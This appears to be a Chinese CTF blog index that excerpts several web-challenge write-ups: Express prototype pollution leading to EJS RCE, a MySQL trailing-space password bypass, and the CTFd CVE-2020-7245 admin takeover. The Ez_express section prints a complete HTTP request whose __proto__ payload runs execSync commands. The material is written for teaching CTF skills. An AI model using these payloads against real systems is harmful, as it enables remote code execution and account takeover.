0%

GYCTF 2020的BabyPHP(题目上错名字了)。

开题让登陆,随手试了一下www.zip发现还真有源码。。。

index.php没啥,限制后缀名为.php,LFI没用处。login.php Ban了一堆关键字

1
2
3
4
5
6
7
8
9
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
阅读全文 »

2020 i春秋新春公益赛的Ez_express,NodeJS的题。

开题提示我们用ADMIN登录,随便注册一下页面注释提示www.zip。看一下app.js,Express框架的程序,index页面指向routes/index.js。

login路由有点东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
router.post('/login', function (req, res) {
if (req.body.Submit == "register") {
if (safeKeyword(req.body.userid)) {
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user = {
'user': req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin': false
}
res.redirect('/');
} else if (req.body.Submit == "login") {
if (!req.session.user) {
res.end("<script>alert('register first');history.go(-1);</script>")
}
if (req.session.user.user == req.body.userid && req.body.pwd == req.session.user.passwd) {
req.session.user.isLogin = true;
} else {
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/');
;
});

safeKeyword()使得我们注册的时候不能用”admin”,而题目又要求我们用admin用户名登录。注意到在register()里用户名特别的加了一步toUppercase()操作,这是干什么用的?

参考这里,Javascript在处理某些语系特定字符的时候会有些意外,我们可以用ı来代替i,除了上文提到的几个,这里还有补充。

因此我们注册一个admın用户即可绕过限制了。然后就让我们提交你最喜欢的语言???

1
2
3
4
5
6
7
router.post('/action', function (req, res) {
if (req.session.user.user != "ADMIN") {
res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")
}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

我们POST过去的东西被clone()到了req.body对象里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
};
const clone = (a) => {
return merge({}, a);
};

这就涉及到新的知识点了,原型链污染。具体参考这里这里这里。简单来说,JavaScript里绝大部分对象继承了Object对象,例如String对象就继承于String类(function等同于class),又继承于Object对象。那么String对象的原型就是String类,如下图所示:

            graph LR
            A["Object()"]-->|Prototype|B["function String()"]
B-->|Prototype|C["123"]
          

这条继承链就叫做原型链。我们如果在function String()里添加方法或属性,继承它的’123’会添加相同的方法属性。而JavaScript在访问某对象属性或方法时是从原型链起始Object()开始查找,直到最后的目标。因此假设我们为Object()添加了个toUppercase()方法,最后’123’.toUppercase()就会优先调用Object()的toUppercase(),这样toUppercase()就被我们污染了,这种攻击方法就叫原型链污染。注意一点,原型链污染的时候我们需要传入JSON数据,即发包的Content-type要变成application/json,否则__proto__不会覆盖。

回到题目,下面的问题是我们的输入怎样污染呢?注意到在route(‘/‘)的时候有点东西:

1
2
3
4
5
6
7
router.get('/', function (req, res) {
if (!req.session.user) {
res.redirect('/login');
}
res.outputFunctionName = undefined;
res.render('index', data = {'user': req.session.user.user});
});

为什么多出来个outputFunctionName?本题的渲染引擎用的ejs,貌似在刚才的参考文章里提到可以造成RCE。

所以,我们抄一下RCE的Payloada; return global.process.mainModule.constructor._load('child_process').execSync('whoami');。发包吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /action HTTP/1.1
Host: 56419387-98b4-44ea-84fc-e96a717536a1.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 146
Origin: http://56419387-98b4-44ea-84fc-e96a717536a1.node3.buuoj.cn
Connection: close
Referer: http://54830c3c-4435-4ff0-814f-a9cfc97ec6d0.node3.buuoj.cn/
Cookie: _ga=GA1.2.744187123.1582874453; session=s%3AuujbI4q6GPRCu7MQpsxrcvFqt0tTzzAV.jGfKfFz5gfEczv2Yw1LCl1nHqwMEsY2k6Zup91j0X88
Upgrade-Insecure-Requests: 1

{"lua":"aaa","__proto__":{"outputFunctionName":"a;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}

提交后刷新页面即可得到flag。

flag{3fa89b5f-528d-434b-9ada-e93a864b2969}

FaceBook CTF 2019的Products Manager。给了源码,猜测是SQL注入的题。

开题允许我们查看Top 5的Products,添加自己的商品,或者查看其他人的商品详情,但是需要输入密码。那么盲猜flag在某个商品详情里面。

看一下源码,db.php告诉我们flag在facebook商品里面,我们需要拿到它的密码。db.php包含数据区读写操作,所有的SQL语句都使用了prepare,看来SQL注入废了。我们重点看一下view.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function handle_post() {
global $_POST;

$name = $_POST["name"];
$secret = $_POST["secret"];

if (isset($name) && $name !== ""
&& isset($secret) && $secret !== "") {
if (check_name_secret($name, hash('sha256', $secret)) === false) {
return "Incorrect name or secret, please try again";
}

$product = get_product($name);

echo "<p>Product details:";
echo "<ul><li>" . htmlentities($product['name']) . "</li>";
echo "<li>" . htmlentities($product['description']) . "</li></ul></p>";
}

return null;
}

过了check_name_secret()后会调用get_product()获得商品信息。问题来了,get_product()里的SQL语句是这么写的SELECT name, description FROM products WHERE name = ?,而name在MySQL中是char(64)类型,对MySQL而言,char和varchar类型有个奇怪的特性。

All MySQL collations are of type PAD SPACE. This means that all CHAR, VARCHAR, and TEXT values are compared without regard to any trailing spaces. “Comparison” in this context does not include the LIKE pattern-matching operator, for which trailing spaces are significant.

https://dev.mysql.com/doc/refman/5.7/en/char.html

使用=比较的时候MySQL会忽略掉字符串后面的空格,所以如果我们传入’facebook ‘,SQL语句变成select name,description from products where name='facebook ';对MySQL而言,等同于select name,description from products where name='facebook';,所以,我们在add.php的handle_post()里传入’facebook ‘,会先进行get_product(),而get_product()错误的返回了’facebook’的数据,因此可以通过重名的检查从而插入了一条’facebook ‘的数据。当我们view的时候,会过check_name_secret(),仍然使用=比较:SELECT name FROM products WHERE name = ? AND secret = ?,MySQL认为’facebook’与’facebook ‘是相同的,因此secret为我们设置的值时select正常返回,这样就可以绕过facebook的secret了。但是get_product()的时候只会返回’facebook’的结果,不会返回’facebook ‘的结果。

所以,Add一个’facebook ‘的Product,secret任意设置。然后view,名称填’facebook’,secret为刚才设置的值,即可拿到flag。

flag{246d6062-dca6-4de4-adbb-5f5a3770b9e6}

BUUOJ上V&N的招新题,涉及到CTFd的一个洞CVE-2020-7245。

开题发现就是个CTFd的页面,随便注册后发现啥都没有,只有个admin用户,看来我们需要得到admin的权限。

之前看CTFd的Release Notes时注意到在2.2.3版本有个security fix,修了个任意用户接管的洞。那就看一下2.2.3和2.2.2版本的diff,到底改了什么。

核心内容是auth.py,看一下register()函数

2.2.2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def register():
errors = get_errors()
if request.method == "POST":
name = request.form["name"]
email_address = request.form["email"]
password = request.form["password"]

name_len = len(name) == 0
names = Users.query.add_columns("name", "id").filter_by(name=name).first()
emails = (
Users.query.add_columns("email", "id")
.filter_by(email=email_address)
.first()
)

2.2.2版本下验证是否已存在用户时通过request.form直接取值,但是在后面又来了段

2.2.2
1
2
3
4
5
6
7
8
9
10
else:
with app.app_context():
user = Users(
name=name.strip(),
email=email_address.lower(),
password=password.strip(),
)
db.session.add(user)
db.session.commit()
db.session.flush()

写入数据库的时候name经过了strip(),所以我们在注册的时候写admin就会造成实际写入库的用户名是admin。再回头看reset_password()

2.2.2
1
2
3
4
5
6
7
8
9
10
11
if request.method == "POST":
user = Users.query.filter_by(name=name).first_or_404()
user.password = request.form["password"].strip()
db.session.commit()
log(
"logins",
format="[{date}] {ip} - successful password reset for {name}",
name=name,
)
db.session.close()
return redirect(url_for("auth.login"))

查询用户的时候直接使用库里的name字段,当我们注册admin (n个空格)的时候重置密码,实际上重置的是admin用户的密码。这样我们就可以任意登录admin用户了。

总结一下,攻击流程如下:

  1. 注册用户为admin (后面加上空格)
  2. 重置密码

在2.2.3版本下,register()函数会首先进行name的strip()

2.2.3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def register():
errors = get_errors()
if request.method == "POST":
name = request.form.get("name", "").strip()
email_address = request.form.get("email", "").strip().lower()
password = request.form.get("password", "").strip()

name_len = len(name) == 0
names = Users.query.add_columns("name", "id").filter_by(name=name).first()
emails = (
Users.query.add_columns("email", "id")
.filter_by(email=email_address)
.first()
)

我们没办法制造出重名的用户,就没办法利用了。
回到题目,BUUOJ里给了邮件服务器mail.buuoj.cn,注册的时候填给的邮箱就行。登录成admin后会发现有一道Hidden的题,下载附件就能看到flag了。

flag{d993d0f0-b9b7-4cb3-9a58-e5f1b1304c1c}

Balsn CTF 2019的Image and words,当时0解。

给了个Zip文件,里面有完整的环境。先看一下run.sh:

1
2
3
4
5
6
gunicorn \
--bind "$default_bind" \
--worker-class uvicorn.workers.UvicornWorker \
--workers 1 \
--umask 007 \
main:server
阅读全文 »

硬盘坏了,博客源码都丢了。慢慢补吧,毕业了,尽量抽时间写博客了。
P.S. 本博客所涉及题目全部可在https://github.com/Tiaonmmn中找到。

flag{60afaee8-fee2-4658-bff5-80ee990fd612}